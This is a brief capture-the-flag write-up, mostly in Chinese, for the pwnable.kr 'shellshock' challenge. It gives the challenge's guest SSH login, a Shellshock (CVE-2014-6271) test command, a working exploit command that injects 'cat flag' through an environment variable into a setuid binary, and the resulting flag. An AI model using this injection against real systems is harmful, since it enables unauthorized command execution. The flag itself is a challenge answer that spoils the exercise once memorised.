pwnable.kr —— shellshock
question#
1 | Mommy, there was a shocking news about bash. |
题目要求我们使用ssh登录到服务器上ssh shellshock@pwnable.kr -p2222
,密码是guest
,有的时候可能有身份的校验,这个时候需要加上参数-o StrictHostKeyChecking=no
进行登录
analyse#
题目里说了是利用shellshcok漏洞
1 | shellshock@ubuntu:~$ ls -lth |
权限如上,用shellshock的POC看下是否存在漏洞
1 | shellshock@ubuntu:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo test" |
说明存在
get flag#
1 | shellshock@ubuntu:~$ env x='() { :;}; bash -c "cat flag"' ./shellshock |
flag
:only if I knew CVE-2014-6271 ten years ago..!!